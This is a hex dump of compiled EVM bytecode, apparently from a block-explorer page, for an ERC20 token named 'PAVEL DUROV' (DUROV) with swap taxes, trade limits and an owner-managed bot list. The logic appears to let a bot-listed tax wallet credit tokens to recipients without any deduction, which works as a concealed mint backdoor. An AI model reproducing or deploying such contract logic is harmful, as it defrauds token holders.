905092915050565b6117df611898565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461186b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118629061300b565b60405180910390fd5b600854811115801561187f57506009548111155b611887575f80fd5b806008819055508060098190555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361190d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190490613527565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361197b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611972906135b5565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a559190612c7b565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac790613643565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b35906136d1565b60405180910390fd5b5f8111611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779061375f565b60405180910390fd5b601460169054906101000a900460ff161580611ba85750601460159054906101000a900460ff165b15611d3957611bfd8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461291390919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611c8e8160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461295c90919063ffffffff16565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d2c9190612c7b565b60405180910390a3612519565b5f611d426115a9565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611db05750611d806115a9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561226d575f82118015611dc95750611dc884611009565b5b15611de657611dd882846129b9565b611de0575f80fd5b50612519565b5f600e5403611e2e57611e2b6064611e1d600a54600e5411611e0a57600654611e0e565b6008545b8561285390919063ffffffff16565b6128ca90919063ffffffff16565b90505b5f600e541115611e6357611e606064611e52600d548561285390919063ffffffff16565b6128ca90919063ffffffff16565b90505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611f0c575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f5f575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561205757600f54821115611fa9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa0906137c7565b60405180910390fd5b60105482611fb685611127565b611fc091906137e5565b1115612001576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff890613862565b60405180910390fd5b61203d606461202f600a54600e541161201c57600654612020565b6008545b8561285390919063ffffffff16565b6128ca90919063ffffffff16565b9050600e5f81548092919061205190613880565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120df57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15612123576121206064612112600b54600e54116120ff57600754612103565b6009545b8561285390919063ffffffff16565b6128ca90919063ffffffff16565b90505b5f61212d30611127565b9050601460159054906101000a900460ff16158015612198575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156121b05750601460169054906101000a900460ff165b80156121bf5750600c54600e54115b1561226b576016544311156121d6575f6015819055505b60036015541061221b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221290613911565b60405180910390fd5b6011548111156122435761224261223d8461223884601254612a54565b612a54565b612580565b5b61224c476127eb565b60155f81548092919061225e90613880565b9190505550436016819055505b505b5f81111561236c576122c58160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461295c90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516123639190612c7b565b60405180910390a35b6123bc8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461291390919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061245f612413828461291390919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461295c90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef612502848661291390919063ffffffff16565b60405161250f9190612c7b565b60405180910390a3505b505050565b5f838311158290612565576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255c9190612b3d565b60405180910390fd5b505f8385612573919061392f565b9050809150509392505050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156125b7576125b6612d1c565b5b6040519080825280602002602001820160405280156125e55781602001602082028036833780820191505090505b50905030815f815181106125fc576125fb61345f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156126a0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906126c4919061328c565b816001815181106126d8576126d761345f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061273e3060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461189f565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016127a0959493929190613a19565b5f604051808303815f87803b1580156127b7575f80fd5b505af11580156127c9573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561284f573d5f803e3d5ffd5b5050565b5f808303612863575f90506128c4565b5f82846128709190613237565b905082848261287f9190613a9e565b146128bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128b690613b3e565b60405180910390fd5b809150505b92915050565b5f61290b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a6c565b905092915050565b5f61295483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061251e565b905092915050565b5f80828461296a91906137e5565b9050838110156129af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129a690613ba6565b60405180910390fd5b8091505092915050565b5f80612a0b8460015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461295c90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905511905092915050565b5f818311612a625782612a64565b815b905092915050565b5f8083118290612ab2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aa99190612b3d565b60405180910390fd5b505f8385612ac09190613a9e565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f612b0f82612acd565b612b198185612ad7565b9350612b29818560208601612ae7565b612b3281612af5565b840191505092915050565b5f6020820190508181035f830152612b558184612b05565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612b9782612b6e565b9050919050565b612ba781612b8d565b8114612bb1575f80fd5b50565b5f81359050612bc281612b9e565b92915050565b5f819050919050565b612bda81612bc8565b8114612be4575f80fd5b50565b5f81359050612bf581612bd1565b92915050565b5f8060408385031215612c1157612c10612b66565b5b5f612c1e85828601612bb4565b9250506020612c2f85828601612be7565b9150509250929050565b5f8115159050919050565b612c4d81612c39565b82525050565b5f602082019050612c665f830184612c44565b92915050565b612c7581612bc8565b82525050565b5f602082019050612c8e5f830184612c6c565b92915050565b5f805f60608486031215612cab57612caa612b66565b5b5f612cb886828701612bb4565b9350506020612cc986828701612bb4565b9250506040612cda86828701612be7565b9150509250925092565b5f60ff82169050919050565b612cf981612ce4565b82525050565b5f602082019050612d125f830184612cf0565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612d5282612af5565b810181811067ffffffffffffffff82111715612d7157612d70612d1c565b5b80604052505050565b5f612d83612b5d565b9050612d8f8282612d49565b919050565b5f67ffffffffffffffff821115612dae57612dad612d1c565b5b602082029050602081019050919050565b5f80fd5b5f612dd5612dd084612d94565b612d7a565b90508083825260208201905060208402830185811115612df857612df7612dbf565b5b835b81811015612e215780612e0d8882612bb4565b845260208401935050602081019050612dfa565b5050509392505050565b5f82601f830112612e3f57612e3e612d18565b5b8135612e4f848260208601612dc3565b91505092915050565b5f60208284031215612e6d57612e6c612b66565b5b5f82013567ffffffffffffffff811115612e8a57612e89612b6a565b5b612e9684828501612e2b565b91505092915050565b5f612ea982612b6e565b9050919050565b612eb981612e9f565b8114612ec3575f80fd5b50565b5f81359050612ed481612eb0565b92915050565b5f60208284031215612eef57612eee612b66565b5b5f612efc84828501612ec6565b91505092915050565b5f60208284031215612f1a57612f19612b66565b5b5f612f2784828501612bb4565b91505092915050565b612f3981612b8d565b82525050565b5f602082019050612f525f830184612f30565b92915050565b5f8060408385031215612f6e57612f6d612b66565b5b5f612f7b85828601612bb4565b9250506020612f8c85828601612bb4565b9150509250929050565b5f60208284031215612fab57612faa612b66565b5b5f612fb884828501612be7565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612ff5602083612ad7565b915061300082612fc1565b602082019050919050565b5f6020820190508181035f83015261302281612fe9565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61305d601783612ad7565b915061306882613029565b602082019050919050565b5f6020820190508181035f83015261308a81613051565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115613113578086048111156130ef576130ee613091565b5b60018516156130fe5780820291505b808102905061310c856130be565b94506130d3565b94509492505050565b5f8261312b57600190506131e6565b81613138575f90506131e6565b816001811461314e576002811461315857613187565b60019150506131e6565b60ff84111561316a57613169613091565b5b8360020a91508482111561318157613180613091565b5b506131e6565b5060208310610133831016604e8410600b84101617156131bc5782820a9050838111156131b7576131b6613091565b5b6131e6565b6131c984848460016130ca565b925090508184048111156131e0576131df613091565b5b81810290505b9392505050565b5f6131f782612bc8565b915061320283612ce4565b925061322f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461311c565b905092915050565b5f61324182612bc8565b915061324c83612bc8565b925082820261325a81612bc8565b9150828204841483151761327157613270613091565b5b5092915050565b5f8151905061328681612b9e565b92915050565b5f602082840312156132a1576132a0612b66565b5b5f6132ae84828501613278565b91505092915050565b5f6040820190506132ca5f830185612f30565b6132d76020830184612f30565b9392505050565b5f819050919050565b5f819050919050565b5f61330a613305613300846132de565b6132e7565b612bc8565b9050919050565b61331a816132f0565b82525050565b5f60c0820190506133335f830189612f30565b6133406020830188612c6c565b61334d6040830187613311565b61335a6060830186613311565b6133676080830185612f30565b61337460a0830184612c6c565b979650505050505050565b5f8151905061338d81612bd1565b92915050565b5f805f606084860312156133aa576133a9612b66565b5b5f6133b78682870161337f565b93505060206133c88682870161337f565b92505060406133d98682870161337f565b9150509250925092565b5f6040820190506133f65f830185612f30565b6134036020830184612c6c565b9392505050565b61341381612c39565b811461341d575f80fd5b50565b5f8151905061342e8161340a565b92915050565b5f6020828403121561344957613448612b66565b5b5f61345684828501613420565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f602082840312156134a1576134a0612b66565b5b5f6134ae8482850161337f565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f613511602483612ad7565b915061351c826134b7565b604082019050919050565b5f6020820190508181035f83015261353e81613505565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61359f602283612ad7565b91506135aa82613545565b604082019050919050565b5f6020820190508181035f8301526135cc81613593565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61362d602583612ad7565b9150613638826135d3565b604082019050919050565b5f6020820190508181035f83015261365a81613621565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6136bb602383612ad7565b91506136c682613661565b604082019050919050565b5f6020820190508181035f8301526136e8816136af565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f613749602983612ad7565b9150613754826136ef565b604082019050919050565b5f6020820190508181035f8301526137768161373d565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f6137b1601983612ad7565b91506137bc8261377d565b602082019050919050565b5f6020820190508181035f8301526137de816137a5565b9050919050565b5f6137ef82612bc8565b91506137fa83612bc8565b925082820190508082111561381257613811613091565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f61384c601a83612ad7565b915061385782613818565b602082019050919050565b5f6020820190508181035f83015261387981613840565b9050919050565b5f61388a82612bc8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036138bc576138bb613091565b5b600182019050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f6138fb601783612ad7565b9150613906826138c7565b602082019050919050565b5f6020820190508181035f830152613928816138ef565b9050919050565b5f61393982612bc8565b915061394483612bc8565b925082820390508181111561395c5761395b613091565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61399481612b8d565b82525050565b5f6139a5838361398b565b60208301905092915050565b5f602082019050919050565b5f6139c782613962565b6139d1818561396c565b93506139dc8361397c565b805f5b83811015613a0c5781516139f3888261399a565b97506139fe836139b1565b9250506001810190506139df565b5085935050505092915050565b5f60a082019050613a2c5f830188612c6c565b613a396020830187613311565b8181036040830152613a4b81866139bd565b9050613a5a6060830185612f30565b613a676080830184612c6c565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613aa882612bc8565b9150613ab383612bc8565b925082613ac357613ac2613a71565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613b28602183612ad7565b9150613b3382613ace565b604082019050919050565b5f6020820190508181035f830152613b5581613b1c565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613b90601b83612ad7565b9150613b9b82613b5c565b602082019050919050565b5f6020820190508181035f830152613bbd81613b84565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c70a205906fd129906ad22beadbefb41fb1752050712199f18672f56d78b9a4f64736f6c634300081a0033

Deployed Bytecode

0x608060405260043610610169575f3560e01c806370a08231116100d05780638f9a55c011610089578063bf474bed11610063578063bf474bed146104e8578063d34628cc14610512578063dd62ed3e1461053a578063ec1f3f631461057657610170565b80638f9a55c01461045857806395d89b4114610482578063a9059cbb146104ac57610170565b806370a0823114610362578063715018a61461039e57806374c9f603146103b45780637d1db4a5146103dc5780638980f11f146104065780638da5cb5b1461042e57610170565b806323b872dd1161012257806323b872dd1461025a578063313ce5671461029657806331c2d847146102c057806332489e9b146102e85780633bbac5791461031057806351bc3c851461034c57610170565b80630614117a1461017457806306fdde031461018a57806308db61ed146101b4578063095ea7b3146101ca5780630faee56f1461020657806318160ddd1461023057610170565b3661017057005b5f80fd5b34801561017f575f80fd5b5061018861059e565b005b348015610195575f80fd5b5061019e61068a565b6040516101ab9190612b3d565b60405180910390f35b3480156101bf575f80fd5b506101c86106c7565b005b3480156101d5575f80fd5b506101f060048036038101906101eb9190612bfb565b610be7565b6040516101fd9190612c53565b60405180910390f35b348015610211575f80fd5b5061021a610c04565b6040516102279190612c7b565b60405180910390f35b34801561023b575f80fd5b50610244610c0a565b6040516102519190612c7b565b60405180910390f35b348015610265575f80fd5b50610280600480360381019061027b9190612c94565b610c2e565b60405161028d9190612c53565b60405180910390f35b3480156102a1575f80fd5b506102aa610d02565b6040516102b79190612cff565b60405180910390f35b3480156102cb575f80fd5b506102e660048036038101906102e19190612e58565b610d0a565b005b3480156102f3575f80fd5b5061030e60048036038101906103099190612eda565b610e28565b005b34801561031b575f80fd5b5061033660048036038101906103319190612f05565b611009565b6040516103439190612c53565b60405180910390f35b348015610357575f80fd5b5061036061105b565b005b34801561036d575f80fd5b5061038860048036038101906103839190612f05565b611127565b6040516103959190612c7b565b60405180910390f35b3480156103a9575f80fd5b506103b261116d565b005b3480156103bf575f80fd5b506103da60048036038101906103d59190612f05565b6112bb565b005b3480156103e7575f80fd5b506103f06113e7565b6040516103fd9190612c7b565b60405180910390f35b348015610411575f80fd5b5061042c60048036038101906104279190612bfb565b6113ed565b005b348015610439575f80fd5b506104426115a9565b60405161044f9190612f3f565b60405180910390f35b348015610463575f80fd5b5061046c6115d0565b6040516104799190612c7b565b60405180910390f35b34801561048d575f80fd5b506104966115d6565b6040516104a39190612b3d565b60405180910390f35b3480156104b7575f80fd5b506104d260048036038101906104cd9190612bfb565b611613565b6040516104df9190612c53565b60405180910390f35b3480156104f3575f80fd5b506104fc611630565b6040516105099190612c7b565b60405180910390f35b34801561051d575f80fd5b5061053860048036038101906105339190612e58565b611636565b005b348015610545575f80fd5b50610560600480360381019061055b9190612f58565b611755565b60405161056d9190612c7b565b60405180910390f35b348015610581575f80fd5b5061059c60048036038101906105979190612f96565b6117d7565b005b6105a6611898565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106299061300b565b60405180910390fd5b5f471161063d575f80fd5b6106456115a9565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610687573d5f803e3d5ffd5b50565b60606040518060400160405280600b81526020017f504156454c204455524f56000000000000000000000000000000000000000000815250905090565b6106cf611898565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461075b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107529061300b565b60405180910390fd5b60148054906101000a900460ff16156107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a090613073565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108463060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a61083191906131ed565b6461f313f8806108419190613237565b61189f565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108d4919061328c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561095a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061097e919061328c565b6040518363ffffffff1660e01b815260040161099b9291906132b7565b6020604051808303815f875af11580156109b7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109db919061328c565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a6230611127565b5f80610a6c6115a9565b426040518863ffffffff1660e01b8152600401610a8e96959493929190613320565b60606040518083038185885af1158015610aaa573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610acf9190613393565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610b6f9291906133e3565b6020604051808303815f875af1158015610b8b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610baf9190613434565b506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff021916908315150217905550565b5f610bfa610bf3611898565b848461189f565b6001905092915050565b60125481565b5f6009600a610c1991906131ed565b6461f313f880610c299190613237565b905090565b5f610c3a848484611a62565b610cf784610c46611898565b610cf285604051806060016040528060288152602001613bc56028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610ca9611898565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461251e9092919063ffffffff16565b61189f565b600190509392505050565b5f6009905090565b610d12611898565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d959061300b565b60405180910390fd5b5f5b8151811015610e24575f60045f848481518110610dc057610dbf61345f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610da0565b5050565b610e30611898565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ebc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb39061300b565b60405180910390fd5b6009600a610eca91906131ed565b6461f313f880610eda9190613237565b600f819055506009600a610eee91906131ed565b6461f313f880610efe9190613237565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610f3391906131ed565b6461f313f880610f439190613237565b604051610f509190612c7b565b60405180910390a1610f61816112bb565b5f600167ffffffffffffffff811115610f7d57610f7c612d1c565b5b604051908082528060200260200182016040528015610fab5781602001602082028036833780820191505090505b50905081815f81518110610fc257610fc161345f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061100581611636565b5050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b611063611898565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e69061300b565b60405180910390fd5b5f6110f930611127565b90505f81111561110d5761110c81612580565b5b5f4790505f81111561112357611122816127eb565b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b611175611898565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611201576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f89061300b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6112c3611898565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461134f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113469061300b565b60405180910390fd5b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b600f5481565b6113f5611898565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611481576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114789061300b565b60405180910390fd5b5f61151f6064611511848673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016114c49190612f3f565b602060405180830381865afa1580156114df573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611503919061348c565b61285390919063ffffffff16565b6128ca90919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6115456115a9565b836040518363ffffffff1660e01b81526004016115639291906133e3565b6020604051808303815f875af115801561157f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115a39190613434565b50505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600581526020017f4455524f56000000000000000000000000000000000000000000000000000000815250905090565b5f61162661161f611898565b8484611a62565b6001905092915050565b60115481565b61163e611898565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c19061300b565b60405180910390fd5b5f5b815181101561175157600160045f8484815181106116ed576116ec61345f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506116cc565b5050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6117df611898565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461186b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118629061300b565b60405180910390fd5b600854811115801561187f57506009548111155b611887575f80fd5b806008819055508060098190555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361190d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190490613527565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361197b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611972906135b5565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3d